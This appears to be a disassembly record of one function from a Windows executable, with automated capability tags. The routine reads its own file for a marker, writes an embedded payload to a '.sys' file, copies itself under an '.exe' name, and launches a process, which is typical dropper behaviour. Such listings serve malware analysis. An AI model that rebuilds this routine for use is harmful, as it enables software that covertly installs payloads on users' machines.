Function at 0x402aa6
Capabilities:
Copy file
Create process on windows
Create process suspended
Delete file
Get file size
Read file on windows
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x880
push ebx
push esi
push edi
mov esi, 0x200
push esi
call fcn.00403516
pop ecx
mov edi, eax
push esi
push edi
xor ebx, ebx
push ebx
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call main
push edi
call fcn.004025c7
test eax, eax
pop ecx
pop ecx
je 0x402ddc
push edi
call fcn.00402636
test eax, eax
pop ecx
je 0x402ddc
push edi
call fcn.00402a87
test eax, eax
pop ecx
je 0x402b0c
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x402dd5
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov esi, eax
lea eax, [esi + 1]
push eax
call fcn.00403516
pop ecx
push ebx
lea ecx, [ebp - 0x20]
push ecx
push esi
push eax
push edi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call edi
shr esi, 2
xor eax, eax
dec esi
cmp esi, ebx
mov dword [ebp - 0x10], ebx
jbe 0x402b91
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + eax*4]
cmp ecx, dword [0x405044]
jne 0x402b87
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx + eax*4 + 4]
cmp ecx, dword [str._8GV]
jne 0x402b87
lea ecx, [eax + 2]
mov dword [ebp - 0x10], ecx
inc eax
cmp eax, esi
jb 0x402b64
cmp dword [ebp - 0x10], ebx
jne 0x402b9f
push dword [ebp - 0x14]
call fcn.0040352a
pop ecx
jmp 0x402dd5
mov esi, 0x400
push esi
call fcn.00403516
push esi
mov dword [ebp - 0x24], eax
call fcn.00403516
push esi
mov dword [ebp - 0xc], eax
call fcn.00403516
push esi
push eax
mov dword [ebp - 0x1c], eax
call fcn.00403d00
add esp, 0x14
push str.iexchg.dll
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x402c5d
mov esi, dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebx
lea ecx, [ebp - 0x20]
push ecx
push 4
lea ecx, [ebp - 0x28]
push ecx
push eax
call esi
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x28]
lea eax, [ebp - 0x880]
push eax
push dword [ebp - 4]
call esi
mov eax, dword [ebp - 0x20]
push dword [ebp - 4]
mov byte [ebp + eax - 0x880], bl
call edi
push dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call esi
mov dword [ebp - 4], ebx
jmp 0x402c50
mov eax, dword [ebp - 4]
inc dword [ebp - 4]
cmp eax, 0xa
jge 0x402c5d
push 0xbb8
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x880]
push eax
call esi
test eax, eax
je 0x402c3a
push ebx
push ebx
push 4
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push dword [ebp - 0x1c]
mov dword [ebp - 4], eax
call fcn.0040352a
mov dword [esp], str..exe
push dword [ebp - 0x24]
call fcn.004024d9
push str..sys
push dword [ebp - 0xc]
call fcn.004024d9
add esp, 0x10
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push ebx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
call esi
push ebx
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x18]
push dword [ebp - 8]
push dword [ebp - 4]
call esi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push ebx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x2c]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 4]
call esi
push ebx
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0xc]
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call edi
push ebx
push dword [ebp - 0x24]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push dword [ebp - 8]
call fcn.0040352a
mov eax, dword [ebp - 0x10]
pop ecx
mov ecx, dword [ebp - 0x14]
mov edx, dword [ecx + eax*4]
push ebx
push ebx
push 4
push ebx
push ebx
lea eax, [ecx + eax*4 + 4]
mov ecx, dword [eax]
push 0x40000000
push dword [ebp - 0xc]
add eax, 4
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
push dword [ebp - 0x28]
mov dword [ebp - 0xc], eax
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.00401a45
add esp, 0xc
push ebx
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x10]
push dword [ebp - 8]
push dword [ebp - 0xc]
call esi
push dword [ebp - 0xc]
call edi
push dword [ebp - 0x14]
call fcn.0040352a
pop ecx
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
push 0x404320
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x24]
mov dword [ebp - 0x70], 0x44
push dword [ebp - 0x24]
mov word [ebp - 0x3e], bx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x5c], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x68], ebx
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x64], ebx
mov word [ebp - 0x40], 5
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x402de8
xor eax, eax
jmp 0x402b07
call fcn.00402726
push edi
call fcn.00402664
pop ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_ExitProcess]